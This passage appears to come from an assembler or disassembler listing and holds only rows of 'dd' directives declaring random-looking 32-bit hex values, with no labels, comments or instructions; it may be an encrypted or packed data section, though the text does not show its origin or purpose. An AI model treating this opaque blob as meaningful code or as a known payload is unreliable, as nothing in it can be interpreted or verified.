		dd 1C40263Dh, 0E257A8Dh, 95805722h, 50ED5D13h, 9A1E4B60h
		dd 97FBFD7Fh, 3E78F241h, 835ADD0Bh, 2EE12E2h, 7015EB6Bh
		dd 8C7E7485h, 0FD167DCBh, 0D2099A4Fh, 8AC65797h, 5FF3A854h
		dd 4A4E5B9Fh, 7665ADFAh, 8D7CF49Bh, 0CB2B20A1h,	0E95906BDh
		dd 9D262CCEh, 0B14349C2h, 0ED344E1Fh, 1262A188h, 0BB980143h
		dd 821D2D22h, 0E356C60Ch, 4FCBF731h, 6A0BF9B0h,	0F1E5D67h
		dd 40C19DE5h, 442E4D0Ah, 0A4DC2F55h, 6C071346h,	0F031479Dh
		dd 0AB3709DEh, 462AE951h, 0C088CC2Eh, 1268365Dh, 0ABF32C77h
		dd 3E2A277Eh, 2142E059h, 6BA15ED8h, 5E3A29DDh, 0A5D23DD7h
		dd 25DE813h, 6699686Fh,	2D2F5ECCh, 85749B52h, 5E5961AFh
		dd 8BF17543h, 572B2A52h, 80ACF0Ah, 0C22F56F8h, 1068E5Eh
		dd 435D7106h, 9D21E9C4h, 0C645B062h, 2694F5A5h,	2AFF565Eh
		dd 0A2E90D39h, 2B1D76EDh, 696C493Eh, 16B48EF4h,	0D27DB2ABh
		dd 4B5BBA4h, 132923Eh, 0C16644Ch, 5B8B5FF9h, 5A5C8809h
		dd 770625BBh, 0D64FEC63h, 0E9906CEAh, 0F41BBC25h, 3A65EFBEh
		dd 2742E3FCh, 51D72259h, 0D087EBF6h, 3B77C180h,	0E14CC828h
		dd 437BFC14h, 0AB972E16h, 0D4A4CC67h, 0EDA4D0FAh, 123D2AB1h
		dd 0E09CAD20h, 1E2DB957h, 920E602Ch, 0BF758085h, 0A93D0DEEh
		dd 573D1254h, 65A139A8h, 0FEAC7EC3h, 8DA473E3h,	0D6A28824h
		dd 0E1C00642h, 7960C007h, 0CA889A06h, 0ACB54DE9h, 5D0010Bh
		dd 9CC1F3CAh, 7D1E6B12h, 2D5BC8E7h, 0DF3C3BEAh,	69BF5781h
		dd 2B592F63h, 0C6078E3h, 0ADA8A73Fh, 3170DAB0h,	0EF16F595h
		dd 15C1382Ch, 382AA03Eh, 0AF020D25h, 48D8F712h,	4034375h
		dd 583EFD68h, 3E89ECD5h
		dd 66E99C21h, 0CE9548EDh, 75D35828h, 0B65AF875h, 58166C36h
		dd 0DEB15128h, 0E968F106h, 23CC261h, 0F042C9B9h, 415614h
		dd 0A0ADB133h, 87426483h, 4BEC5D59h, 0E9810C80h, 0E8121A09h
		dd 0A9318021h, 0FC28AF5Ah, 38D61319h, 302DC7E3h, 9222E9F9h
		dd 0A20FBCB2h, 45061D12h, 6CE4FD1Bh, 0BB2D5BF8h, 0FA5F4F0Ch
		dd 0ECF49007h, 9F2A9045h, 0A52E9082h, 0A4D6E85Ah, 66BC18Ah
		dd 0B279E5FDh, 2D006170h, 7A72764Ch, 0BE07557Eh, 0D748E22Fh
		dd 18B838EBh, 5E816741h, 394C82F7h, 77C2B02Ah, 4B1B685Fh
		dd 38456976h, 6852B05Fh, 653862B3h, 7F09355Eh, 0CDBA9F79h
		dd 88E24B91h, 7250B45Ch, 447A4A4Fh, 573B504h, 0DCABF529h
		dd 0F6B5EFBFh, 125428A4h, 46B2BA5h, 9645775h, 51BE0180h
		dd 60ECF188h, 0B057D7BFh, 0D9593396h, 7D62100Ch, 2C130448h
		dd 0D70D14CDh, 0ADF08341h, 16F8B055h, 8BC17A2h,	0D51DDBECh
		dd 0F4BC4F92h, 350E1D04h, 0ECA4C230h, 5CE074F4h, 28228905h
		dd 273F7AC3h, 0C14842A9h, 0F6828A0Ah, 89760478h, 4A94BC64h
		dd 59A873F8h, 8E24A45Eh, 89FDA2BBh, 76DB2F89h, 0B21A67FAh
		dd 86CA59CBh, 8B5CC75Fh, 0DDE2D8E9h, 30F140FFh,	25D70261h
		dd 4B5DEB89h, 0E9C7E857h, 0B2494A1Eh, 2B5E89BDh, 0FAF7568Bh
		dd 57DAC081h, 10D6DAE4h, 0E108E10Fh, 3DEA68D9h,	0F208352Bh
		dd 0D79D7FFAh, 6AD75DB2h, 0EF431895h, 6DB199FBh, 26ED7EB8h
		dd 0D8BA09D2h, 0A1899FD9h, 627F5E44h, 0D6545CAAh, 2F8AC63h
		dd 0D604C7E5h, 7A58BDFEh, 8E090592h, 0E2793309h, 5494F51Bh
		dd 45685C0Bh, 20F24675h, 729DC163h, 0AD6AF30Eh,	20BAD03Eh
		dd 4DA9043h, 0C40F9CC3h, 0D8B1AB10h, 8DE90800h,	8ACEA554h
		dd 0CE0B78EEh, 6992F2C2h, 0ED80D1E2h, 8415A088h, 1B60109Dh
		dd 609E270Eh, 7416A0DCh, 0A2FA3BC4h, 20C4943Bh,	0B9D9E9A9h
		dd 0EE7DC52Eh, 0C1E811F5h, 0B25D956Eh, 5C28AB6Eh, 56E1025Bh
		dd 11C24CC9h, 0E3AA0F75h, 0E0613F79h, 3F0C5BBEh, 0AD19665Ah
		dd 6B9B5D89h, 70CBBB62h, 0DA093B08h, 29FB4598h,	6A997042h
		dd 43297FA7h, 0BBA48905h, 52D07424h, 0EC7FBA52h, 0E91F0C7Dh
		dd 89F56A23h, 6B4E6C16h, 0E27087BFh, 5ADC356Fh,	0BE495549h
		dd 1CA7404Ah, 7550CF2Bh, 2D1352B3h, 0B1C1B199h,	3324A0E9h
		dd 4937945Ch, 0CA09F6D6h, 0B27357EAh, 0B4131F26h, 4D58AEA2h
		dd 0F615655Ch, 0BB4AA8DEh, 0EF47837Dh, 0FCBA03F8h, 0B4123AE6h
		dd 0A7EFDB66h, 4A44DD1h, 67554CC4h, 6A45B3C2h, 944D7D75h
		dd 0E5013CB4h, 2AEA7E8Bh, 0BB97C104h, 23AFA832h, 1020CC2Dh
		dd 4AB86866h, 11A73127h, 0BA085416h, 0CA97F9A2h, 4AE909D3h
		dd 643ADEA1h, 5F2CF8BFh, 0EEA43CB9h, 3E17B9A6h,	0DAE391ADh
		dd 681F4823h, 7304EF2Ah, 25F871B7h, 230B23FCh, 343A5DE6h
		dd 0E970F67Eh, 0A3275F36h, 0D0EA4A3Dh, 5BE181BFh, 2C76E6E0h
		dd 5AFCC91Fh, 1E37A94h,	7984F38Eh, 5520CD89h, 745097EAh
		dd 0E8C1644Bh, 0A23C6068h, 0EE575427h, 0B1E91604h, 5E66A733h
		dd 68C578BAh, 4CF37BF1h, 37963178h, 4F3D851h, 0A06E52EBh
		dd 4C0A888Bh, 0B9E92BB4h, 7E8E5F26h, 56FE97Dh, 71F2DAFh
		dd 876CB202h, 273EE460h, 57C247E9h, 976E4E5Dh, 62256250h
		dd 993D66C7h, 0D5A03A04h, 0D652684Bh, 0B904D6BCh, 0F0190907h
		dd 1509B030h, 4E6DB7h, 8257CD51h, 0D4F0954Bh, 7968463Bh
		dd 0AA174393h, 161D85h,	0ADF433E9h, 21D4828h, 4F590FB6h
		dd 16497789h, 820938FFh, 55A67BE9h, 0F878C0FCh,	0B1518050h
		dd 94B47330h, 0E68059CCh, 99E91737h, 0E8E1574Ah, 4188013Eh
		dd 8ABD5608h, 58E90B89h, 0FC29A024h, 820A84B3h,	3028B2B2h
		dd 83E57F38h, 9DEBA04h,	1C8357B9h, 340D54DAh, 2258B701h
		dd 0DAF65695h, 6B80B300h, 811A171Ch, 40D7CEEh, 0EF17DAA6h
		dd 97030628h, 975CC889h, 631C61D2h, 1AD356Ah, 48278AE2h
		dd 16F3D834h, 9CB71D2Ch, 7C9CE300h, 25E96D91h, 0FF69EFF0h
		dd 0E44E2108h, 80EB157Dh, 7C6939ECh, 0BE28114h,	675F3465h
		dd 7D907209h, 6A0213F2h, 0C8E93A77h, 1A70A034h,	0F84E6FF0h
		dd 0CD355A4Bh, 0FB31E499h, 50F17CBDh, 4A81F59Eh, 8BE7082h
		dd 12C06F12h, 946F18D1h, 5F80574Eh, 485554B9h, 0E113A263h
		dd 847FED44h, 6E198571h, 98AB56CEh, 20223E16h, 95B4980h
		dd 0AD135B37h, 0BB08417Ah, 8E648696h, 95A2DC3Eh, 10963DCh
		dd 24B3CCDEh, 8BAA7788h, 0AF713E95h, 4E2E6982h,	8968D54Dh
		dd 799D621Fh, 14DCE963h, 210157A5h, 3E443158h, 0E982CFF9h
		dd 1AD50D88h, 0D6064058h, 0F22CA42Bh, 5B84977Dh, 5AE1BABFh
		dd 5B507D36h, 6223F78h,	0EDC117h, 5E68F521h, 87072D84h
		dd 0D0F793DDh, 2400C3Dh, 0F223A15h, 0E9D531F5h,	565A3F69h
		dd 9790652h, 0BD7E03h, 36C0EA36h, 116A48D7h, 447E604h
		dd 0EC1C8441h, 226BD44Fh, 0FCEA0FE3h, 0B3370801h, 354910FDh
		dd 15A3C840h, 0D7758852h, 1608EB28h, 0AD68A7E9h, 90831045h
		dd 4FE5EC4Bh, 788187A8h, 87433140h, 7448EF0Ch, 25968269h
		dd 54680144h, 0A2A62B6Fh, 0E9A66093h, 0F2B26F10h, 9C983183h
		dd 0F06003CDh, 0F9685EA0h, 0D02FC575h, 427A8D7Dh, 3005A173h
		dd 0B0DC191h, 3485F23h,	5E92DC25h, 0CFE7DE77h, 6557D00Bh
		dd 3F386897h, 0D69D5FA0h, 82522788h, 37ED5D4Bh,	196EB805h
		dd 7E27A669h, 0A34BE478h, 0AEB912ABh, 3B0D2D3Dh, 327AF090h
		dd 0E1411555h, 456A26E4h, 0B45B50F4h, 6617C55Ah, 62AB0B3Eh
		dd 0B961C20Ah, 6AEC04F3h, 2C222F78h, 0E7F0F0D2h, 2352548h
		dd 362361C2h, 0DC22404Eh, 18F4251Dh, 8A0EBF6h, 1C6E5058h
		dd 792DE3E9h, 0EE0AE451h, 0BE5B0840h, 51575305h, 8C3F91D5h
		dd 414AE9C4h, 0EABB0400h, 9572AC5Ch, 16B5D770h,	18B25E4h
		dd 0C099D299h, 9DFA76D7h, 0D4255h, 0C06C1585h, 2520A498h
		dd 4594A65h, 274A197h, 0FD02F168h, 1BE967B8h, 0BAF1859Dh
		dd 299849FEh, 589B107Fh, 145B7C4h, 616BF7B1h, 9E4EA93Bh
		dd 79AB42CBh, 53CB8DDAh, 0D0C03F79h, 403A7614h,	7A1051Bh
		dd 1FAC4B59h, 8AA97D68h, 48D2E99Ch, 950FA27h, 4C014FE5h
		dd 8410DC2h, 5B0B302h, 0F004EF59h, 20143C13h, 33A8610h
		dd 0DA07CDBEh, 1906D132h, 60EF2901h, 169FFEC4h,	9A88BE48h
		dd 0D1DD4338h, 4FE44F8Ah, 10BCA330h, 0D3DC2B29h, 60F71DE7h
		dd 60403990h, 55840BBBh, 68DD39EBh, 1297ABD2h, 0F210A2Ah
		dd 0E1404994h, 6982B36h, 3270F1ECh, 0C8B61862h,	0DA32F559h
		dd 0A728F9F7h, 87ED08F7h, 49E10692h, 0CADE982Ch, 0BC5C462Eh
		dd 0B4959313h, 57F4F36h, 0CFD15B2Eh, 4CDEF503h,	0DEAC7809h
		dd 2D30C38Ch, 0CDF847BCh, 4D72745Ah, 0B3BE2AD8h, 0EB09052Ch
		dd 94F1E4E9h, 0ED2784DDh, 71FA1601h, 41A7228Ch,	56C32AFh
		dd 35344392h, 0C65C781h, 0C597507Fh, 0E02BD232h, 0C7091D62h
		dd 0C2C4517Fh, 305F2023h, 95CD47BEh, 7242E57Ch,	28208025h
		dd 91426F68h, 40519E3Eh, 0D9431EDh, 486273E9h, 0FF5BD87Bh
		dd 0A140E884h, 0BAF37B91h, 40C6749Ah, 0BFB65390h, 2058527Ah
		dd 5A3B53D7h, 9769755h,	23D5DCD1h, 8162BC2Ah, 65B94B79h
		dd 31F83461h, 0C1381648h, 0CFCF0FE7h, 6EC219E0h, 89B514E9h
		dd 584646E4h, 9C10655Ch, 0D191024Eh, 0E1E0C1E8h, 453BD23Bh
		dd 9849B92Dh, 212AAD7h,	0C0BA1D3Bh, 0B9C1F2A5h,	0FED07C2Fh
		dd 0C3E905EEh, 0F358076Ch
		dd 5B7D0908h, 0C085160Dh, 638E6829h, 0A474CABFh, 0C5852143h
		dd 6BA13E01h, 128B1DC0h, 4DF63BE9h, 0DA2AD625h,	0EDB6D9FDh
		dd 3C132AD2h, 84E2A7AFh, 0D4EC37E9h, 6279D94Eh,	28A216A6h
		dd 9AB13056h, 2FE1B52Eh, 99EFB817h, 0D80D7C6Dh,	9F4149FDh
		dd 4E27CEE5h, 0BE5600A7h, 39308F1h, 5B4B2BE9h, 0C68ACDFDh
		dd 570987ACh, 7F4B821Ch, 6801D0F9h, 1248F7CAh, 0B4C0177h
		dd 338E3B12h, 51C953B2h, 2F763D62h, 12905866h, 0E074B338h
		dd 18D83098h, 0F1EFE94Bh, 0E06E446Ah, 0F759035Fh, 5FF98FD1h
		dd 4B64F344h, 97ED5DEBh, 15B8ABF4h, 0AFA3BF93h,	3B85A1D0h
		dd 0B30BB1Eh, 9D161268h, 163D8453h, 34CC0B4Dh, 0E0DC92BCh
		dd 0F2FCF2D8h, 0E23D5BA4h, 0CF8085CCh, 2D687C98h, 0C3F302C8h
		dd 2BE1501Eh, 6B0F2FE6h, 0AA776BC5h, 0E9126BCBh, 34DF954h
		dd 0D90759EBh, 0F0ABD976h, 0E550F822h, 6B6A1353h, 0BE0CBA50h
		dd 1E271452h, 850A3E5Eh, 0E8F6E9FAh, 0EC0826F8h, 3CA508h
		dd 0B753AC04h, 0AF4B2C60h, 0EEB664F0h, 58EE2580h, 0B8083F56h
		dd 0E0BD02C1h, 39C08F7Ah, 7F17DFEDh, 0A8004B34h, 65E3546Eh
		dd 5AD52F29h, 9F5907DDh, 446B9A3h, 0DA76C10Ch, 0D7FAC06Eh
		dd 2A500C16h, 3B00F1ECh, 6805096Bh, 0B560D25Fh,	56ACBDE0h
		dd 2D3CD983h, 55CB8557h, 30021410h, 0C520C37Ah,	0EBDEB51Ch
		dd 0AF1657DAh, 0DB487825h, 0CC7149BEh, 0C72D5124h, 66F5A56Eh
		dd 1D0820FEh, 10AD5D5Bh, 20880604h, 4FE9AAC2h, 0B60C1705h
		dd 0E0E11D0Bh, 3ACA8103h, 4637758h, 0EB1AD60Ch,	0E97CE07Ch
		dd 3912E24Eh, 22E347AEh, 55862675h, 3198D6E6h, 12D12640h
		dd 4D8F7E0h, 23A21D2h, 57FB015Eh, 9F5C72DEh, 3434FDF4h
		dd 641B2DEEh, 2169BDE6h, 0E0CCD570h, 81275891h,	64CA801Ah
		dd 9787F2CCh, 302010E1h, 2F905B0Ch, 0F0122877h,	77AE148Bh
		dd 968DB597h, 13DA4FDh,	58DC2457h, 9CB24FBBh, 0D52040C1h
		dd 0EE362049h, 0B90CD70Ch, 7BCE0E73h, 19E530B3h, 5726941Ah
		dd 2C4ACFB0h, 490BC212h, 6F2E7CA4h, 121CD83Ch, 0F4BF43B2h
		dd 0A021B3Fh, 695768F2h, 0A86EEEF8h, 1D15A2Ah, 2D025AA9h
		dd 0D21E6BDFh, 428DEAD6h, 0D0D8DC86h, 867B1DB4h, 531AE917h
		dd 0DFD45FADh, 0EB289212h, 0B83911CBh, 0B7C61550h, 0E525296Dh
		dd 61DD8D5Dh, 94A83B10h, 67220B18h, 0A8F2AACEh,	0FB204190h
		dd 65809918h, 74A7BF5Dh, 88A1E91Bh, 0EE7CF98Fh,	603C51ADh
		dd 15BD3558h, 0A46EB72Ch, 0DFEB57A1h, 0E91339E4h, 0E767C252h
		dd 97FF1489h, 3CA1E040h, 0F806AE2Fh, 0C3630958h, 9182F951h
		dd 0A278EEE9h, 34E255BEh, 8B9D0F31h, 45542766h,	0DF05D442h
		dd 505B7DB2h, 125BDF0Ch, 112F24D2h, 0D4F30254h,	57C00D6Dh
		dd 1E27EDCBh, 21B568Ah,	147F240Ah, 82F7EA60h, 0E9701D04h
		dd 10F4B59h, 0A62FB77h,	20FD66C3h, 5367452Bh, 7E955698h
		dd 2D5BD040h, 7B10021Bh, 0B536EA0Ch, 1D62127Ch,	0D55C5F6Bh
		dd 0ADFBF044h, 1AA0B162h, 0D1BB3081h, 7AECB403h, 89548F05h
		dd 75040DBDh, 0FB67DB17h, 20D9A4C2h, 0DB86856h,	5E755416h
		dd 0CD40F7F5h, 4E936FF9h, 52CEB89h, 398309CBh, 645555DEh
		dd 0B85001B6h, 65850DC8h, 0E1FB3031h, 5C0AE694h, 49115728h
		dd 2C847958h, 9AACAAC5h, 0E1DA312Dh, 89E6CA9Fh,	3DE57D96h
		dd 9E85BA16h, 674C9EEFh, 51A9C0E0h, 0A18A9275h,	7F877A13h
		dd 0B3EAC134h, 821C95BBh, 0C8A9FFE9h, 2D429BAFh, 43D83E0Bh
		dd 47080DD2h, 12363073h, 134FEE77h, 0E1818700h,	76D75870h
		dd 88F10B2Bh, 0DD3E41h,	7E6DB8D2h, 0CA012416h, 0B008208Dh
		dd 4DB620B3h, 22526627h, 91E98EDh, 1942528Fh, 0BE54FE2Bh
		dd 40E40913h, 9C871FFAh, 0CDA1657h, 375AC23Dh, 437B0512h
		dd 0BF97F4FFh, 8E2567B8h, 19CCD721h, 812B8095h,	300DD0E9h
		dd 63D679A9h, 267FB454h, 1307E33Fh, 15DD8E29h, 518F72Bh
		dd 70A23C8Ch, 818EAC0Eh, 0BD5511EDh, 0C092DE70h, 1BA6C518h
		dd 0CC039D1h, 7FC81814h, 0E1FD4DE9h, 0AC50EA5Ah, 945B7CD6h
		dd 5CBEB680h, 7BF23E56h, 3E5EF518h, 0C804413Ah,	0B6BFE9CCh
		dd 84A4B8ABh, 1BA1A268h, 5831D62h, 2BD0539Ch, 1813A92Dh
		dd 0AB1269Ah, 11CA0707h, 18896625h, 64F7F5E9h, 545F2368h
		dd 864CEFA6h, 166B7948h, 940CA4F3h, 4D1437BFh, 0E084F376h
		dd 2DF5A336h, 8924F482h, 78FA4075h, 2E4E6B02h, 88C32906h
		dd 0E90508F7h, 435620A3h, 560FF801h, 0A02B2F9Dh, 82F31307h
		dd 32ACE247h, 0BDC05770h, 1B27D0A8h, 2DFE5814h,	99C062E9h
		dd 64BDB92Ch, 0C564F55Dh, 0CEFCB731h, 0D22EAE03h, 0F6F9F1C5h
		dd 9D785AA5h, 697ADD30h, 2C69F2CAh, 27BB7C5Ch, 0B9D41362h
		dd 27B6F25Ah, 1A5D8A21h, 30F3489Bh, 9C6662D1h, 79745410h
		dd 1F48CC88h, 9ED901BDh, 0F1F50162h, 7267CB4h, 5053F42Ch
		dd 4C08C78Ah, 23FF2727h, 0A09FFCFEh, 7B22D80h, 12F5970h
		dd 2D07EAD8h, 0AAA8AF7Dh, 0D998CD1Bh, 0A6386510h, 4B70F0EDh
		dd 0D95DE346h, 33075AD6h, 0FF848F53h, 2CD611A6h, 3531E91Dh
		dd 17AA4D29h, 685B3203h, 0A7DB1845h, 0AAAA35ABh, 8E0AA253h
		dd 0A59DE61Fh, 0F1C301D2h, 0C73848FEh, 56518231h, 33FB2E59h
		dd 84CDCB35h, 0E68AC4Bh, 77FA0D13h, 0B062410h, 0FA4BF7E9h
		dd 93F4B5AFh, 0C247C84h, 4B2CE9EAh, 7C302FBBh, 0F9C4D12Ah
		dd 0F12EC277h, 0E56FFACFh, 0AA8D5119h, 9A0FEBE0h, 555D0E35h
		dd 2C96038Fh, 0DAA15858h, 0DC1D3F9Dh, 4A39FFE5h, 3357D66Dh
		dd 60D8D107h, 55FB227Bh, 95BE44F5h, 41837E7Eh, 0F2528C45h
		dd 120D8EDh, 0EEC022B6h, 0F1D6F603h, 48862C86h,	0D0FA4EA9h
		dd 3D261AFAh, 39856850h, 0A6B09279h, 3DCD8939h,	3F9617EAh
		dd 2030E4A5h, 7B620FC5h, 53C40359h, 0D2E6ACEBh,	2568C6B0h
		dd 597138F0h, 991EFA4Ch, 6B9A2076h, 94FFE4DFh, 2DFE9DE8h
		dd 0E82E4951h, 0C0568921h, 133690h, 0F7405877h,	4CF925D0h
		dd 2D482B01h, 0CE8BE778h, 0BD39007Eh, 399C6184h, 0ECB0E916h
		dd 3EF9A052h, 6076D04Fh, 575A9A68h, 0C40F1E7h, 2CBEA15Dh
		dd 0F2642D7Fh, 44FD4762h, 394B27C2h, 97FFDE3Ah,	95792DC0h
		dd 0C502E941h, 87164023h, 84BEF8D7h, 0F7AE34C2h, 574A7C5Fh
		dd 5452C981h, 136E6121h, 0E25007F5h, 61BFE2C7h,	622CC8C0h
		dd 5451182Fh, 0C3300359h, 1A4E02AEh, 442916BEh,	0AA5BCAE3h
		dd 0BB8562BDh, 70C786B7h, 7DDB612Dh, 80C9EF16h,	7539C27Dh
		dd 5F0EB3F3h, 8153A063h, 0E2729DCFh, 7EA9877h, 8BE301E7h
		dd 13A7EA47h, 0BB5D573Dh, 0C4F92A56h, 0EA01D258h, 31C4F264h
		dd 0E5222BC5h, 0ECA5F242h, 2B65031Bh, 56F1011Ch, 3BE5FAF1h
		dd 0F42003D1h, 85CAD37Ah, 7B21A7BDh, 0C41E582Eh, 1D13B741h
		dd 4D22013Fh, 3FD5E2ECh, 202EBE9h, 29331904h, 5E130828h
		dd 4BAC8BBFh, 684E20BAh, 4C9731D2h, 2E73BDCDh, 4EE9F59Ch
		dd 669D8E8Bh, 1F3203D7h, 0EB016E87h, 2FBBDC49h,	8132F45Fh
		dd 972834C7h, 920C8262h, 5D3AEA10h, 883D1F8h, 30140C41h
		dd 0E5F0877h, 5EBA0694h, 0A03FD733h, 0C3A05D58h, 9F0B7DAFh
		dd 5EE0C179h, 60BC02C8h, 0B577F91h, 1496F7FAh, 163B3702h
		dd 0EEF8096Ah, 6E001FCh, 0DEEDBC2Dh, 52ED61E5h,	45F98F67h
		dd 9685780h, 0A187047h,	0E6AEE95Fh, 5B5D8BECh, 57AF097Fh
		dd 0F6979916h, 0A14C8B47h, 5D8B3B71h, 66E24843h, 95595C5Bh
		dd 5E1E5520h, 0B70BD721h
		dd 950E7954h, 9725848Ch, 0D9CDCB55h, 0CD58E70Dh, 0CD7A0022h
		dd 7DE58146h, 4101CE12h, 7E80B951h, 6301EC6h, 1644178Fh
		dd 304AEC2Fh, 2B791449h, 0E9400CA6h, 0BE7822CFh, 836C3E1Ch
		dd 4867163Dh, 0A4ECD729h, 9564BFD9h, 595B8F0h, 0ADC4219Bh
		dd 459882FFh, 0DA6D2540h, 2D74A813h, 99C52EAh, 30D7AAB6h
		dd 89578AB2h, 0E4CC6F14h, 0D4D44FAEh, 37A1AEA5h, 6ACA0E02h
		dd 1EE55739h, 0C635869h, 5DD3662Dh, 5512694Eh, 2D0039E7h
		dd 75A00806h, 25E9F809h, 70A03523h, 7AAA575Fh, 0DCB8103h
		dd 0B0448516h, 66DA7F3h, 0E94379C0h, 68E2948Fh,	0DE1EA626h
		dd 7E6C7E6Fh, 0E078E909h, 51A3B589h, 6828EC0h, 87B65206h
		dd 0F8292562h, 6600685Dh, 0B8AF4A0Fh, 13238466h, 0D6C10913h
		dd 68167278h, 1660708Eh, 3532FE3h, 1E88362h, 1150E635h
		dd 4F133FB7h, 50FB225Eh, 204D0810h, 2177688Fh, 7F4BAFC0h
		dd 0F3ECC89Dh, 0BF3A9263h, 1F878504h, 0FDC49A0Bh, 5BD95D98h
		dd 51707695h, 25967C0Ah, 5CCEF559h, 0E98BAB9Ch,	59D6A5E1h
		dd 7581FE0h, 74F5815Ah,	0C127641Eh, 2E44100Eh, 7F89C422h
		dd 0F7513923h, 465E8792h, 3DE35214h, 2D3393C3h,	6810BAB8h
		dd 86B65AD5h, 7CE4044Bh, 8E2BAB99h, 9D06809h, 70206A66h
		dd 3FB93F5Ah, 318A9D07h, 1879C3CEh, 9900287Ch, 54F2E73h
		dd 5E5C11DAh, 4158A845h, 6B052007h, 0CEEEB04Bh,	4BA24CB5h
		dd 6824D8BBh, 8B79B005h, 0D3BC5F43h, 83F787C5h,	0E9A031DFh
		dd 79AE7066h, 1160F8F8h, 54942D18h, 0D156002Ah,	15E505E0h
		dd 0B2981E5Fh, 480FC603h, 0E8EE811Fh, 0A14FF74Dh, 93C430B4h
		dd 64E91662h, 9A6DEB5Bh, 0DFF70A50h, 4254B757h,	50CA20C9h
		dd 0BDD6C6E9h, 98E5329h, 80040CC8h, 16B279C3h, 0E523DCC4h
		dd 1EAC3A16h, 0CBC8357Bh, 58FFAEDh, 1DE3680Ah, 0E035C2DEh
		dd 3F840F00h, 7FC6B22Fh, 0E973C468h, 99D5EB7Eh,	68A598EEh
		dd 4B63702Ah, 37969996h, 0B32EF3A1h, 6EE9C74Fh,	4EA124C8h
		dd 515D5C49h, 705A170Eh, 664C3564h, 4681048h, 8DD019Dh
		dd 0D35F5885h, 38256668h, 48259826h, 0EB22D212h, 0CC19ABF3h
		dd 8BBE751h, 68FB1C01h,	1F9B27C5h, 0E0E5F884h, 99753CE9h
		dd 94D80C4Ah, 0FE3CB50Ch, 0EA889D66h, 5468CA42h, 4E188656h
		dd 97AFB269h, 43C05E6Ah, 17165CBEh, 70E1217Eh, 0D39C24B8h
		dd 94552527h, 41D997F6h, 5575609h, 0B835A671h, 0AB76A50Bh
		dd 75D34A4Dh, 0FFCB90F1h, 25162CEDh, 7BFD8740h,	48D12C66h
		dd 0F60084E6h, 0E958CCF7h, 24C047CDh, 224AF3BDh, 0E8311308h
		dd 0EAA2BF5Dh, 9A844218h, 2609FBB8h, 738949C0h,	3BBD03A0h
		dd 68F22939h, 0E95F485Fh, 14F0B2C5h, 7C5DEF01h,	5EB53410h
		dd 44B5FAFCh, 12339F01h, 0C5F55CBBh, 5809AE6h, 0FFD291AAh
		dd 0EC10F3F6h, 4E680963h, 99967753h, 95F6D0Bh, 0FB20FF75h
		dd 2E6A2DF6h, 919070F3h, 28E994A8h, 0E3E84B5Bh,	0CEF559C9h
		dd 0A139A01Bh, 7DEB2D7Bh, 24BEA5D0h, 71BC043Ch,	0AA68ABh
		dd 28ED199Fh, 5F4A33E9h, 2AD166D9h, 0B3835357h,	4811617h
		dd 0B8CBEEC4h, 0B14E5158h, 0F64439F9h, 60B91C64h, 801A9F6Bh
		dd 97EBCF1h, 2025E906h,	3C8151EFh, 0BAA88812h, 5E685F9Ch
		dd 4F4741EAh, 706A4556h, 0BE12CD3Fh, 0FE1FE788h, 0A0285E20h
		dd 0FE395A07h, 34C80FC0h, 58C5607Fh, 98F3B353h,	0B7A7707Fh
		dd 4B4E99C0h, 0C2138A99h, 0EDA00DFAh, 0E5CB6B1Eh, 0ACC5257Fh
		dd 0C94A9DD0h, 0F6937BF2h, 6C2648B3h, 92626824h, 0D8BF0109h
		dd 13A64C8h, 217EFEh, 5E1B5CE6h, 0E9B861FFh, 7721D807h
		dd 0FA090490h, 0D1D051Bh, 8041CF4h, 24A007AAh, 0C221972h
		dd 0CDA3768h, 0B584D420h, 72208CFAh, 96DB0FEh, 67AF0511h
		dd 3E277B52h, 0EC1C9A26h, 0BC96EE5Dh, 5D29825Fh, 0E3E010E1h
		dd 2D808790h, 0D66B122Eh, 0A7CFEF05h, 9558AA40h, 3901A661h
		dd 7A059CE6h, 8CBF38EBh, 62DE91Bh, 0C0D3926Dh, 1759EA67h
		dd 0AA5C7A5Dh, 1442AE0Ch, 74A6F2E9h, 382A2DB9h,	0B403931Ch
		dd 7E4C040h, 54C2F4D0h,	3557220h, 0F7B612Eh, 0B4032BFh
		dd 240B6B91h, 0A8295370h, 0C12F08FEh, 617A5F5Fh, 8BFF6001h
		dd 5245CDBh, 9F1A133h, 798166E0h, 0BE4675CBh, 0A393BB89h
		dd 3900BD48h, 3CE5A602h, 0E964F50Ah, 0FBE6C1Dh,	93A0031Ah
		dd 2D1F69B8h, 5CA10BFDh, 720A65Eh, 32216195h, 4AC2D13Eh
		dd 0C2800555h, 1A532C18h, 52DD2937h, 0CB64080Ah, 0E76048A2h
		dd 2312950Ah, 4C019413h, 0DDB75350h, 0C02DDC30h, 0F5F4BA20h
		dd 82958CA8h, 9891B6Bh,	2602F0F5h, 109BD5C9h, 88044E5Ah
		dd 0C105C311h, 0A78F06E8h, 2CC41F7Eh, 29FF7D0Bh, 4C1126E9h
		dd 99E22A98h, 954E1B5h,	51A6B02Fh, 0E9A5A0C3h, 2500CC21h
		dd 484F6FC3h, 0F34F77F4h, 60F03841h, 0EF313644h, 4C16AC7Eh
		dd 0D4102719h, 6F65EF57h, 4E39BBCFh, 55F6422Fh,	0C87536E9h
		dd 24EFE3F5h, 2536639h,	93C1ACBh, 0DF071F56h, 426B0D3Dh
		dd 7B4CDFD7h, 67864630h, 1264ABEAh, 0EF59495Fh,	32E96968h
		dd 5F161551h, 849579F6h, 0C2C45EADh, 4CBADEAFh,	1C097249h
		dd 0F79426E9h, 0C130F764h, 0A2F78B91h, 0B57DF46Fh, 48E721C0h
		dd 16F34B18h, 5814531Ch, 0EC5AD96Ch, 0FEF260Fh,	0CBFAE212h
		dd 0B94A7ED5h, 0CABF0212h, 0E257FA9h, 89D9F139h, 0A1D03868h
		dd 0E942E9B1h, 9D0A582Fh, 0B4089h, 96D47842h, 3E660243h
		dd 25AF5139h, 0A8877B09h, 0B468D152h, 6589F054h, 1097AFDDh
		dd 1B128EADh, 4A53E372h, 28EA0D12h, 7F97F59Bh, 0A5FA2094h
		dd 0F9284A4Eh, 0DA440E8h, 0D84B7E07h, 15614032h, 5C02653h
		dd 0EC4C005Dh, 70F9355Eh, 0B198BEEFh, 821CFABDh, 2BEAF7E6h
		dd 0C80BE1FDh, 0CD71902Ah, 5514E45h, 0A36140CBh, 2BD522Dh
		dd 48D3092Bh, 2E641B44h, 1270389Fh, 0E6A3AA31h,	590B8EC6h
		dd 642DEB1Fh, 0C0D04325h, 2C471073h, 2CDDEF7h, 0B6429E0Dh
		dd 961E497Dh, 0EBE7C43Ah, 30C22028h, 0F445158h,	0F095357Dh
